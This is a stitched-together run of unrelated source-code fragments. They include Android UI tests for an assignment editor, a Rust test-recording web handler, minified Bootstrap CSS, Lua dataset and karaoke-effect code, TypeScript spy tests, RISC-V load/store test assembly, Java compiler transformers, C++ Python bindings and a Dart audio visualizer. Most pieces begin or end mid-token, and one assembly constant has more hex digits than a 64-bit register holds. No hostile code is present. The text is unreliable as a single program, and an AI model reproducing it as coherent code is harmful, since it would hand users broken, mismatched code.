    SLIDER(SupportsType("slider", 4)) {
        override fun entryFor(key: String, parts: List<String>): SetListItem =
            SliderSetListEntry(key, parts)
    },
    COLORPICKER_SLIDER(object : SupportsType("colorpicker", 5) {


foreUnlockDateErrorShown()
    }

    @Test
    fun dueDateAfterLockDateError() {
        getToEditAssignmentDetailsPage()
        editAssignmentDetailsPage.clickEditDueDate()
        editAssignmentDetailsPage.editDate(2015, 2, 10)
        editAssignmentDetailsPage.clickEditLockDate()
        editAssignmentDetailsPage.editDate(1987, 8, 10)
        editAssignmentDetailsPage.saveAssignment()
        editAssignmentDetailsPage.assertDueDateAfterLockDateErrorShown()
    }

    @Test
    fun unlockDateAfterLockDateError() {
        getToEditAssignmentDetailsPage()
        editAssignmentDetailsPage.clickEditUnlockDate()
        editAssignmentDetailsPage.editDate(2015, 2, 10)
        editAssignmentDetailsPage.clickEditLockDate()
        editAssignmentDetailsPage.editDate(1987, 8, 10)
        editAssignmentDetailsPage.saveAssignment()
        editAssignmentDetailsPage.assertLockDateAfterUnlockDateErrorShown()
    }

    @Test
    fun noAssigneesError() {
        getToEditAssignmentDetailsPage()
        editAssignmentDetailsPage.clickAddOverride()
        assigneeListPage.saveAndClose()
        editAssignmentDetailsPage.assertNewOverrideCreated()
        editAssignmentDetailsPage.saveAssignment()
        editAssignmentDetailsPage.assertNoAssigneesErrorShown()
    }

    private fun getToEditAssignmentDetailsPage(
            withDescription: Boolean = false,
            lockAt: String = "",
            unlockAt: String = "",
            submissionTypes: List<Assignment.SubmissionType> = emptyList()): Assignment {

        val data = MockCanvas.init(teacherCount = 1, favoriteCourseCount = 1, courseCount = 1)
        val teacher = data.teachers[0]
        val course = data.courses.values.first()

        data.addCoursePermissions(
                course.id,
                CanvasContextPermission() // Just need to have some sort of permissions object registered
        )

        val assignment = data.addAssignment(
                courseId = course.id,
                withDescription = withDescription,
                lockAt = lockAt,
                unlockAt = unlockAt,
                submissionTypeList = submissionTypes.ifEmpty { listOf(Assignment.SubmissionType.ONLINE_TEXT_ENTRY) }
        )

        val token = data.tokenFor(teacher)!!
        tokenLogin(data.domain, token, teacher)

        dashboardPage.openCourse(course)
        courseBrowserPage.openAssignmentsTab()
        assignmentListPage.clickAssignment(assignment)

        assignmentDetailsPage.openEditPage()
        return assignment
    }
}
/*
 * Copyright (C) 2022 - present Instructure, Inc.
 *
 *     Licensed under the Apache License, Version 2.0 (the "License");
 *     you may not use this file except in compliance with the License.
 *     You may obtain a copy of the License at
 *
 *     http://www.apache.org/licenses/LICENSE-2.0
 *
 *     Unless required by applicable law or agreed to in writing, software
 *     distributed under the License is distributed on an "AS IS" BASIS,
 *     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 *     See the License for the specific language governing permissions and
 *     limitations under the License.
 *
 */
package com.instructure.teacher.ui.e2e.classic

import android.util.Log
import com.instructure.canvas.espresso.FeatureCategory
import com.instructure.canvas.espresso.Priority
import com.instructure.canvas.espresso.SecondaryFeatureCategory
import com.instructure.canvas.espresso.TestCategory
import com.instructure.canvas.espresso.TestMetaData
import com.instructure.canvas.espresso.annotations.E2E
import com.instructure.canvas.espresso.annotations.Stub
import com.instructure.canvas.espresso.pressBackButton
import com.instructure.canvasapi2.utils.ApiPrefs
import com.instructure


!("step not found");
            return;
        }
    };

    if let Err(e) = Recording::add_step(tid, step) {
        eprintln!("{:?}", e);
    }
}

#[derive(serde::Serialize, Template)]
#[template(path = "page.html")]
struct Page {
    recording: Option<Recording>,
    deleted: Option<String>,
    existing: Vec<Recording>,
}

fn scan(dir: &std::path::Path) -> Result<Vec<Recording>> {
    let mut recordings = vec![];
    for entry in std::fs::read_dir(dir)? {
        let path = entry?.path();
        if path.is_dir() {
            recordings.append(&mut scan(&path)?)
        } else {
            recordings.push(Recording::from_p1(ftd::p1::parse(
                std::fs::read_to_string(path)?.as_str(),
            )?)?)
        }
    }
    Ok(recordings)
}

impl Page {
    fn from(recording: Option<Recording>, deleted: Option<String>) -> Result<Page> {
        Ok(Page {
            recording,
            deleted,
            existing: scan(std::path::PathBuf::from("tests/").as_path())?,
        })
    }
}

impl crate::Page for Page {
    const ID: &'static str = "Pages.Realm.Record";
}

pub fn get<UD>(in_: &crate::base::In<UD>) -> crate::Result
where
    UD: crate::UserData,
{
    use crate::Page as _Page;

    if !crate::base::is_test() {
        return Err(crate::Error::PageNotFound {
            message: "server not running in test mode".to_string(),
        }
        .into());
    }

    let (recording, deleted) = match in_.ctx.get_cookie(COOKIE_NAME) {
        Some(tid) => match Recording::read(tid) {
            Ok(r) => (Some(r), None),
            Err(e) => match e.downcast_ref::<std::io::Error>() {
                Some(e1) => match e1.kind() {
                    std::io::ErrorKind::NotFound => {
                        in_.ctx.delete_cookie(COOKIE_NAME);
                        (None, Some(tid.to_string()))
                    }
                    _ => return Err(e),
                },
                _ => return Err(e),
            },
        },
        None => (None, None),
    };

    Page::from(recording, deleted)?.with_title("record")
}

pub fn stop<UD>(in_: &crate::base::In<UD>) -> crate::Result
where
    UD: crate::UserData,
{
    in_.ctx.delete_cookie(COOKIE_NAME);
    crate::response::Response::redirect(in_, RECORD_URL)
}

pub fn post<UD>(
    in_: &crate::base::In<UD>,
    id: String,
    title: String,
    description: String,
    base: Option<String>,
) -> crate::Result
where
    UD: crate::UserData,
{
    use std::io::Write;

    if !crate::base::is_test() {
        observer::log("not in test mode, ignoring");
        return Err(crate::Error::PageNotFound {
            message: "server not running in test mode".to_string(),
        }
        .into());
    }

    let url = match base {
        Some(ref b) => {
            // if base is passed it must exist
            if !tid_to_path(b).exists() {
                return crate::error("base", "Not found", "user_error", "base_not_found");
            }
            REPLAY_URL.to_owned() + "?tid=" + b
        }
        None => "/".to_string(),
    };

    let record


l;white-space:normal;line-break:auto;font-size:.875rem;word-wrap:break-word;opacity:0}.tooltip.show{opacity:.9}.tooltip .arrow{position:absolute;display:block;width:.8rem;height:.4rem}.tooltip .arrow::before{position:absolute;content:"";border-color:transparent;border-style:solid}.bs-tooltip-auto[x-placement^=top],.bs-tooltip-top{padding:.4rem 0}.bs-tooltip-auto[x-placement^=top] .arrow,.bs-tooltip-top .arrow{bottom:0}.bs-tooltip-auto[x-placement^=top] .arrow::before,.bs-tooltip-top .arrow::before{top:0;border-width:.4rem .4rem 0;border-top-color:#000}.bs-tooltip-auto[x-placement^=right],.bs-tooltip-right{padding:0 .4rem}.bs-tooltip-auto[x-placement^=right] .arrow,.bs-tooltip-right .arrow{left:0;width:.4rem;height:.8rem}.bs-tooltip-auto[x-placement^=right] .arrow::before,.bs-tooltip-right .arrow::before{right:0;border-width:.4rem .4rem .4rem 0;border-right-color:#000}.bs-tooltip-auto[x-placement^=bottom],.bs-tooltip-bottom{padding:.4rem 0}.bs-tooltip-auto[x-placement^=bottom] .arrow,.bs-tooltip-bottom .arrow{top:0}.bs-tooltip-auto[x-placement^=bottom] .arrow::before,.bs-tooltip-bottom .arrow::before{bottom:0;border-width:0 .4rem .4rem;border-bottom-color:#000}.bs-tooltip-auto[x-placement^=left],.bs-tooltip-left{padding:0 .4rem}.bs-tooltip-auto[x-placement^=left] .arrow,.bs-tooltip-left .arrow{right:0;width:.4rem;height:.8rem}.bs-tooltip-auto[x-placement^=left] .arrow::before,.bs-tooltip-left .arrow::before{left:0;border-width:.4rem 0 .4rem .4rem;border-left-color:#000}.tooltip-inner{max-width:200px;padding:.25rem .5rem;color:#fff;text-align:center;background-color:#000;border-radius:.25rem}.popover{position:absolute;top:0;left:0;z-index:1060;display:block;max-width:276px;font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,"Helvetica Neue",Arial,sans-serif,"Apple Color Emoji","Segoe UI Emoji","Segoe UI Symbol";font-style:normal;font-weight:400;line-height:1.5;text-align:left;text-align:start;text-decoration:none;text-shadow:none;text-transform:none;letter-spacing:normal;word-break:normal;word-spacing:normal;white-space:normal;line-break:auto;font-size:.875rem;word-wrap:break-word;background-color:#fff;background-clip:padding-box;border:1px solid rgba(0,0,0,.2);border-radius:.3rem}.popover .arrow{position:absolute;display:block;width:1rem;height:.5rem;margin:0 .3rem}.popover .arrow::after,.popover .arrow::before{position:absolute;display:block;content:"";border-color:transparent;border-style:solid}.bs-popover-auto[x-placement^=top],.bs-popover-top{margin-bottom:.5rem}.bs-popover-auto[x-placement^=top] .arrow,.bs-popover-top .arrow{bottom:calc((.5rem + 1px) * -1)}.bs-popover-auto[x-placement^=top] .arrow::after,.bs-popover-auto[x-placement^=top] .arrow::before,.bs-popover-top .arrow::after,.bs-popover-top .arrow::before{border-width:.5rem .5rem 0}.bs-pop


--------------------------------------------------------------------------------
-- DataList: a container for plain DataSets.
-- Each sub dataset represents elements from only one class.
--
-- Authors: Corda, Farabet
--------------------------------------------------------------------------------

local DataList, parent = torch.class('nn.DataList','nn.DataSet')

function DataList:__init()
   parent.__init(self)
   self.datasets = {}
   self.nbClass = 0
   self.ClassName = {}
   self.ClassMax = 0
   self.nbSamples = 0
   self.targetIsProbability = false
   self.spatialTarget = false
end

function DataList:__tostring__()
   str = 'DataList:\n'
   str = str .. ' + nb samples : '..self.nbSamples..'\n'
   str = str .. ' + nb classes : '..self.nbClass
   return str
end

function DataList:__index__(key)
   if type(key)=='number' and self.nbClass>0 and key <= self.nbSamples then
      local class = ((key-1) % self.nbClass) + 1
      local classSize = self.datasets[class]:size()
      local elmt = math.floor((key-1)/self.nbClass) + 1
      elmt = ((elmt-1) % classSize) + 1

      -- create target vector on the fly
      if self.spatialTarget then
         if self.targetIsProbability then
            self.datasets[class][elmt][2] = torch.Tensor(self.nbClass,1,1):zero()
         else
            self.datasets[class][elmt][2] = torch.Tensor(self.nbClass,1,1):fill(-1)
         end


d the following disclaimer.
 *
 * 2. The origin of this software must not be misrepresented; you must
 * not claim that you wrote the original software.  If you use this
 * software in a product, an acknowledgment in the product
 * documentation would be appreciated but is not required.
 *
 * 3. Altered source versions must be plainly marked as such, and must
 * not be misrepresented as being the original software.
 *
 * 4. The name of the author may not be used to endorse or promote
 * products derived from this software without specific prior written
 * permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
 * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
 * ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY
 * DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
 * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE
 * GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
 * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,
 * WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
 * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
 * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 *
 * Java version ported by Keiron Liddle, Aftex Software <keiron@aftexsw.com> 1999-2001
 */


, 30mid1 - 440 + 0.5 * l.dur, 30mid1 - 240 + l.dur )\n	return \"\\\\move(fx.pos_x, fx.pos_y, fx.pos_x, fx.pos_y + Dy, fx.dur - delay, fx.dur)\\\\te(0,delay,0.8,\\\\frzRs( 180, 180 ))\\\\fad(0,200)\"\nend", "Lua", false, false )
	Move_Char_VI_BB_frxyz = effector.create_fx( "TLfx", "Move_Char_VI_BB_frxyz", "Translation Char", true, false, "#FFFFFF", "#848484", "#454545", "0", "0", "0", "l.start_time", "l.end_time", "", "", "", "", "char.center", "char.middle", "", "", "5", "0", "fx.pos_x", "fx.pos_y", "", "1", "", "char.text", "move_char( )", "delay = 300;\nDy = 1.00 * l.height;\nmove_char = function( )\n	maxloop( 2 )\n	if j == 1 then\n		retime( \"preline\", 30li - 15 * char.n + 100, 30li - 15 * char.n + 100 + 0.5 * l.dur )\n		return \"\\\\move(fx.pos_x, fx.pos_y + Dy, fx.pos_x, fx.pos_y, 0, delay)\\\\t~(0,delay,0.8,\\\\frxyzRs( 220 ))\\\\fad(200,0)\"\n	end\n	retime( \"preline\", 30li - 15 * char.n + 100 + 0.5 * l.dur, 30li - 15 * char.n + 300 + l.dur )\n	return \"\\\\move(fx.pos_x, fx.pos_y, fx.pos_x, fx.pos_y + Dy, fx.dur - delay, fx.dur)\\\\te(0,delay,0.8,\\\\frxyzRs( 220 ))\\\\fad(0,200)\"\nend", "Lua", false, false )
	Move_Char_VI_BB_frxyz_buttline = effector.create_fx( "TLfx", "Move_Char_VI_BB_frxyz_buttline", "Translation Char", true, false, "#FFFFFF", "#848484", "#454545", "0", "0", "0", "l.start_time", "l.end_time", "", "", "", "", "char.center", "char.middle", "", "", "5", "0", "fx.pos_x", "fx.pos_y", "", "1", "", "char.text", "move_char( )", "delay = 300;\nDy = 1.00 * l.height;\nmove_char = function( )\n	maxloop( 2 )\n	if j == 1 then\n		retime( \"preline\", 30mid2 + 100, 30mid2 + 100 + 0.5 * l.dur )\n		return \"\\\\move(fx.pos_x, fx.pos_y + Dy, fx.pos_x, fx.pos_y, 0, delay)\\\\t~(0,delay,0.8,\\\\frxyzRs( 220 ))\\\\fad(200,0)\"\n	end\n	retime( \"preline\", 30mid2 + 100 + 0.5 * l.dur, 30mid2 + 300 + l.dur )\n	return \"\\\\move(fx.pos_x, fx.pos_y, fx.pos_x, fx.pos_y + Dy, fx.dur - delay, fx.dur)\\\\te(0,delay,0.8,\\\\frxyzRs( 220 ))\\\\fad(0,200)\"\nend", "Lua", false, false )
	Move_Char_VI_BB_frxyz_inverse = effector.create_fx( "TLfx", "Move_Char_VI_BB_frxyz_inverse", "Translation Char", true, false, "#FFFFFF


heckboxes

	local selectedIndices = {}
	local disabledIndices = {}

	for i, v in ipairs(self.props.checkboxes) do
		if type(v) == "table" then
			selectedIndices[i] = v.isSelected or false
			disabledIndices[i] = v.isDisabled or false
		end
	end

	assert(numTrue(selectedIndices) < atMost, "number of 'isSelected' must be less than atMost!")

	self.state = {
		selectedIndices = selectedIndices,
		disabledIndices = disabledIndices,
	}

	self.doLogic = function(key)
		self:setState({
			selectedIndices = Cryo.Dictionary.join(
				self.state.selectedIndices,
				{ [key] = not self.state.selectedIndices[key] and numTrue(self.state.selectedIndices) < atMost }
			),
		})
		self.props.onActivated(self.state.selectedIndices)
	end
end

function CheckboxList:render()
	local checkboxes = {}
	checkboxes.layout = Roact.createElement("UIListLayout", {
		SortOrder = Enum.SortOrder.LayoutOrder,
	})

	for i, value in ipairs(self.props.checkboxes) do
		checkboxes["Checkbox" .. i] = Roact.createElement(Checkbox, {
			text = type(value) == "table" and value.label or value,
			isSelected = self.state.selectedIndices[i],
			isDisabled = self.state.disabledIndices[i],
			onActivated = function()
				self.doLogic(i)
			end,
			size = self.props.elementSize,
			layoutOrder = i,
		})
	end

	return Roact.createElement("Frame", {
		Size = UDim2.new(1, 0, 1, 0),
		BackgroundTransparency = 1,
		LayoutOrder = self.props.layoutOrder,
	}, checkboxes)
end

return CheckboxList


="2"
                        style="min-height: 3rem; max-height: 6rem;"
                    ></textarea>

                <button
                    id="send-button"
                    class="bg-gradient-to-r from-blue-600 to-purple-600 hover:from-blue-700 hover:to-purple-700 text-white font-semibold py-4 px-6 rounded-xl shadow-lg hover:shadow-xl transition-all duration-200 ease-in-out focus:outline-none focus:ring-2 focus:ring-blue-500 focus:ring-opacity-50 transform hover:scale-105"
                >
                    <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 20 20" fill="currentColor" class="w-5 h-5">
                        <path d="M3.105 2.289a.75.75 0 00-.826.95l1.414 4.925A1.5 1.5 0 005.135 9.25h6.115a.75.75 0 010 1.5H5.135a1.5 1.5 0 00-1.442 1.086l-1.414 4.926a.75.75 0 00.826.95 28.896 28.896 0 0015.293-7.154.75.75 0 000-1.115A28.896 28.896 0 003.105 2.289z" />
                    </svg>
                </button>

                Enterprise AI Assistant •
                Web Search Enabled •
                SSL Optimized •
                Ready


 any
	) {
		const some = {
			set property(value: any) {}
		};

		const propertySpy = SpyOnProperty(some, "property");

		some.property = actualValue;

		Expect(() =>
			Expect(propertySpy).toHaveBeenSetTo(expectedValue)
		).toThrowError(
			MatchError,
			`Expected property to be set to ${stringify(expectedValue)}.`
		);
	}

	@Test()
	public propertyNotSetPassesWhenShouldNotCall() {
		const some = {
			set property(value: any) {}
		};

		const propertySpy = SpyOnProperty(some, "property");

		Expect(() =>
			Expect(propertySpy).not.toHaveBeenSetTo("something")
		).not.toThrow();
	}

	@Test()
	public propertySetWhenShouldNotBeSetThrowsError() {
		const some = {
			set property(value: any) {}
		};

		const propertySpy = SpyOnProperty(some, "property");

		some.property = "something";

		Expect(() =>
			Expect(propertySpy).not.toHaveBeenSetTo("something")
		).toThrow();
	}

	@TestCase(undefined)
	@TestCase(null)
	@TestCase(0)
	@TestCase(42)
	@TestCase(4.2)
	@TestCase(-4.2)
	@TestCase("")
	@TestCase("value")
	@TestCase({ an: "object" })
	@TestCase(["an", "array"])
	public propertySetWhenShouldNotBeSetThrowsCorrectError(expectedValue: any) {
		const some = {
			set property(value: any) {}
		};

		const propertySpy = SpyOnProperty(some, "property");

		some.property = expectedValue;

		Expect(() =>
			Expect(propertySpy).not.toHaveBeenSetTo(expectedValue)
		).toThrowError(
			MatchError,
			`Expected property not to be set to ${stringify(expectedValue)}.`
		);
	}

	@TestCase("1", 1)
	@TestCase(1, "1")
	@TestCase("42", 42)
	@TestCase(42, "42")
	public propertySetToSimilarValuePassesWhenShouldNotBeSet(
		expectedValue: any,
		similarValue: any
	) {
		const some = {
			set property(value: any) {}
		};

		const propertySpy = SpyOnProperty(some, "property");

		some.property = similarValue;

		Expect(() =>
			Expect(propertySpy).not.toHaveBeenSetTo(expectedValue)
		).not.toThrow();
	}

	@TestCase("1", 1)
	@TestCase(1, "1")
	@TestCase("42", 42)
	@TestCase(42, "42")
	public propertySetToSimilarValueFailsWhenShouldBeSet(
		expectedValue: any,
		similarValue: any
	) {
		const some = {
			set property(value: any) {}
		};

		const propertySpy = SpyOnProperty(some, "property");

		some.property = similarValue;

		Expect(() =>
			Expect(propertySpy).toHaveBeenSetTo(expectedValue)
		).toThrowError(
			MatchError,
			`Expected property to be set to ${JSON.stringify(expectedValue)}.`
		);
	}

	@TestCase([null])
	@TestCase([[], []])
	@TestCase([1, 2, 3])
	@TestCase(["something", "and", "another", "thing"])
	@TestCase(["this", "or", "this", "or", "that", "other", "thing"])
	public actualValueAndShouldMatchShouldBeSetToPropertyWasNotSetToValue(
		values: Array<any>
	) {
		const some = {
			set property(value: any) {}
		};

		const propertySpy = SpyOnProperty(some, "property");

		values.forEach(value => {
			some.property = value;
		});

		let propertyError: MatchError | null = null;

		try {
			Expect(propertySpy).toHaveBeenSetTo({ something: "weird


x18,0
      li x19,0xffffffff00000000
      sd x3,0x0(x4)
      lrd x5,x4,x18,1
      lurd x9,x4,x19,1
      bne x3,x5,TEST_FAIL
      bne x9,x5,TEST_FAIL
      li x18,0x10
      li x19,0xffffffff00000010
      sd x8,0x80(x4)
      lrd x5,x4,x18,3
      lurd x9,x4,x19,3
      bne x8,x5,TEST_FAIL
      bne x9,x5,TEST_FAIL
.global STORE2
STORE2:
      li x6,0xffffffff80000000
      li x8,0x0000000080000000
      li x9,0xaaaaaaaaaaaaaaaa
      li x10,0xaaaaaaaa80000000
      li x18,0
      li x19,0x0000ffff00000000
      sd x9,0x0(x4)
      sw x6,0x0(x4)
      lrwu x7,x4,x18,0
      lurwu x20,x4,x18,0
      lrw x5,x4,x18,0
      lurw x21,x4,x18,0
      lrd x11,x4,x18,0
      bne x7,x8,TEST_FAIL
      bne x20,x8,TEST_FAIL
      bne x6,x5,TEST_FAIL
      bne x6,x21,TEST_FAIL
      bne x11,x10,TEST_FAIL
      li x18,0xffffffffffffff00
      li x19,0x0000ffff00000000
      sd x9,-256(x4)
      sw x6,-256(x4)
      lrwu x7,x4,x18,0
      lrw x5,x4,x18,0
      lrd x11,x4,x18,0
      bne x7,x8,TEST_FAIL
      bne x6,x5,TEST_FAIL
      bne x11,x10,TEST_FAIL
      li x18,0x3fc
      li x19,0x0000ffff0000003fc
      sd x9,0x7f8(x4)
      sw x6,0x7f8(x4)
      lrwu x7,x4,x18,1
      lurwu x20,x4,x18,1
      lrw x5,x4,x18,1
      lurw x21,x4,x18,1
      lrd x11,x4,x18,1
      bne x7,x8,TEST_FAIL
      bne x20,x8,TEST_FAIL
      bne x6,x5,TEST_FAIL
      bne x6,x21,TEST_FAIL
      bne x11,x10,TEST_FAIL
      li x18,0x7e
      li x19,0x0000ffff0000007e
      sd x9,0x1f8(x4)
      sw x6,0x1f8(x4)
      lrwu x7,x4,x18,2
      lurwu x20,x4,x18,2
      lrw x5,x4,x18,2
      lurw x21,x4,x18,2
      lrd x11,x4,x18,2
      bne x7,x8,TEST_FAIL
      bne x20,x8,TEST_FAIL
      bne x6,x5,TEST_FAIL
      bne x6,x21,TEST_FAIL
      bne x11,x10,TEST_FAIL
      li x18,0xFE
      li x19,0x0000ffff0000007e
      sd x9,0x7f0(x4)
      sw x6,0x7f0(x4)
      lrwu x7,x4,x18,3
      lurwu x20,x4,x18,3
      lrw x5,x4,x18,3
      lurw x21,x4


l<?>> getAfterTask() {
		return this.afterTask;
	}

	/**
	 * Set the after task lambda.
	 */
	public ScheduledTask setAfterTask( BiConsumer<ScheduledTask, Optional<?>> afterTask ) {
		this.afterTask = afterTask;
		return this;
	}

	/**
	 * Get the task success lambda.
	 */
	public BiConsumer<ScheduledTask, Optional<?>> getOnTaskSuccess() {
		return this.onTaskSuccess;
	}

	/**
	 * Set the task success lambda.
	 */
	public ScheduledTask setOnTaskSuccess( BiConsumer<ScheduledTask, Optional<?>> onTaskSuccess ) {
		this.onTaskSuccess = onTaskSuccess;
		return this;
	}

	/**
	 * Get the task failure lambda.
	 */
	public BiConsumer<ScheduledTask, Exception> getOnTaskFailure() {
		return this.onTaskFailure;
	}

	/**
	 * Set the task failure lambda.
	 */
	public ScheduledTask setOnTaskFailure( BiConsumer<ScheduledTask, Exception> onTaskFailure ) {
		this.onTaskFailure = onTaskFailure;
		return this;
	}

	/**
	 * Lazy getter for the executor
	 *
	 * @return The executor
	 */
	private BoxExecutor getExecutor() {
		if ( this.executor == null ) {
			this.executor = this.scheduler.getExecutor();
		}
		return this.executor;
	}

}
/**
 * [BoxLang]
 *
 * Copyright [2023] [Ortus Solutions, Corp]
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 * http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */
package ortus.boxlang.compiler.asmboxpiler.transformer.expression;

import java.util.List;

import org.objectweb.asm.tree.AbstractInsnNode;

import ortus.boxlang.compiler.asmboxpiler.AsmTranspiler;
import ortus.boxlang.compiler.asmboxpiler.transformer.AbstractTransformer;
import ortus.boxlang.compiler.asmboxpiler.transformer.ReturnValueContext;
import ortus.boxlang.compiler.asmboxpiler.transformer.TransformerContext;
import ortus.boxlang.compiler.ast.BoxNode;
import ortus.boxlang.compiler.ast.expression.BoxArgument;

public class BoxArgumentTransformer extends AbstractTransformer {

	public BoxArgumentTransformer( AsmTranspiler transpiler ) {
		super( transpiler );
	}

	@Override
	public List<AbstractInsnNode> transform( BoxNode node, TransformerContext context, ReturnValueContext returnContext ) throws IllegalStateException {
		BoxArgument arg = ( BoxArgument ) node;
		return transpiler.transform( arg.getValue(), context, returnContext );
	}
}
/**
 * [BoxLang]
 *
 * Copyright [2023] [Ortus Solutions, Corp]
 *
 * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the
 * License. You may obtain a copy of the License at
 *
 * http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS"
 * BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language
 * governing permissions and limitations under the License.
 */
package ortus.boxlang.compiler.asmboxpiler.transformer.statement;

import java.util.ArrayList


ublisher, camera_depth_publisher);
    }
  });

}

}

PYBIND11_MODULE(franka_env, m)
{
    m.doc() = R"(
            Python bindings for moveit_ros environments for the purpose of supporting the python interactive viewer.
            )";

    // construct a python class for franka ros simulation instance
    py::class_<franka_env::FrankaEnvBase, std::shared_ptr<franka_env::FrankaEnvBase>>(m, "FrankaBase", R"(
        A class to encapsulate ROS compatible mujoco simulation environment.
        )")

        .def(py::init([](py::object model, py::object data, const std::string command_interface, int control_steps, double control_timer_freq){
            rclcpp::init(0, nullptr);

            std::shared_ptr<rclcpp::executors::MultiThreadedExecutor> executor =
                std::make_shared<rclcpp::executors::MultiThreadedExecutor>();

            auto custom_deleter = [executor](franka_env::FrankaEnvBase* franka_env) {
                executor->cancel();
                rclcpp::shutdown();
                delete franka_env;
            };
            std::shared_ptr<franka_env::FrankaEnvBase> node(new franka_env::FrankaEnvBase(model, data, command_interface, control_steps, control_timer_freq), custom_deleter);

            auto spin_node = [node, executor]() {
            executor->add_node(node);
            executor->spin();
            };

            std::thread execution_thread(spin_node);
            execution_thread.detach();

            return node;
        }),
        py::arg("model"),
        py::arg("data"),
        py::arg("command_interface").none(true) = "effort",
        py::arg("control_steps").none(true) = 10,
        py::arg("control_timer_freq").none(true) = 1e-2,
        py::return_value_policy::take_ownership,
        R"(Initialize mujoco ros franka simulation instance)")
        .def_property("is_syncing", &franka_env::FrankaEnvBase::getSync, &franka_env::FrankaEnvBase::setSync)
        .def("reset", &franka_env::FrankaEnvBase::reset);

    // construct a python class for franka ros simulation instance
    py::class_<franka_env::FrankaEnvBlocks, std::shared_ptr<franka_env::FrankaEnvBlocks>>(m, "FrankaBlocks", R"(
        A class to encapsulate ROS compatible mujoco simulation environment.
        )")

        .def(py::init([](py::object model, py::object data, const std::string command_interface, int control_steps, double control_timer_freq){
            rclcpp::init(0, nullptr);

            std::shared_ptr<rclcpp::executors::MultiThreadedExecutor> executor =
                std::make_shared<rclcpp::executors::MultiThreadedExecutor>();

            auto custom_deleter = [executor](franka_env::FrankaEnvBlocks* franka_env) {
                executor->cancel();
                rclcpp::shutdown();
                delete franka_env;
            };
            std::shared_ptr<franka_env::FrankaEnvBlocks> node(new franka_env::FrankaEnvBlocks(model, data, command_interface, control_steps, control_timer_freq), custom_deleter);

            auto spin_node = [node, executor]() {
            executor->add_node(node


erOptions);

    final bufferLength = _audioAnalyser?.analyser.frequencyBinCount;

    _timer = Timer.periodic(
      Duration(milliseconds: options.updateInterval!.toInt()),
      (timer) {
        try {
          final tmp = JSFloat32Array.withLength(bufferLength ?? 0);
          _audioAnalyser?.analyser.getFloatFrequencyData(tmp);
          Float32List frequencies = Float32List(tmp.toDart.length);
          for (var i = 0; i < tmp.toDart.length; i++) {
            final element = tmp.toDart[i];
            frequencies[i] = element;
          }
          frequencies = frequencies.sublist(
              options.loPass!.toInt(), options.hiPass!.toInt());

          final normalizedFrequencies = normalizeFrequencies(frequencies);
          final chunkSize = (normalizedFrequencies.length / (bands + 1)).ceil();
          Float32List chunks = Float32List(visualizerOptions.barCount);

          for (var i = 0; i < bands; i++) {
            final summedVolumes = normalizedFrequencies
                .sublist(i * chunkSize, (i + 1) * chunkSize)
                .reduce((acc, val) => (acc += val));
            chunks[i] = (summedVolumes / chunkSize);
          }

          if (visualizerOptions.centeredBands) {
            chunks = centerBands(chunks);
          }

          events.emit(AudioVisualizerEvent(
            track: _audioTrack,
            event: chunks,
          ));
        } catch (e) {
          logger.warning('Error in visualizer: $e');
        }
      },
    );
  }

  Float32List centerBands(Float32List sortedBands) {
    final centeredBands = Float32List(sortedBands.length);
    var leftIndex = sortedBands.length / 2;
    var rightIndex = leftIndex;

    for (var index = 0; index < sortedBands.length; index++) {
      final value = sortedBands[index];
      if (index % 2 == 0) {
        // Place value to the right
        centeredBands[rightIndex.toInt()] = value;
        rightIndex += 1;
      } else {
        // Place value to the left
        leftIndex -= 1;
        centeredBands[leftIndex.toInt()] = value;
      }
    }

    return centeredBands;
  }

  @override
  Future<void> stop() async {
    if (_audioAnalyser == null) {
      return;
    }

    events.emit(AudioVisualizerEvent(
      track: _audioTrack!,
      event: [],
    ));

    _timer?.cancel();
    _timer = null;

    await _audioAnalyser?.cleanup();
    _audioAnalyser = null;
  }
}

class MultiBandTrackVolumeOptions {
  /// cut off of frequency bins on the lower end
  /// Note: this is not a frequency measure, but in relation to analyserOptions.fftSize,
  final num? loPass;

  /// cut off of frequency bins on the higher end
  /// Note: this is not a frequency measure, but in relation to analyserOptions.fftSize,
  final num? hiPass;

  /// update should run every x ms
  final num? updateInterval;

  final AudioAnalyserOptions? analyserOptions;

  const MultiBandTrackVolum


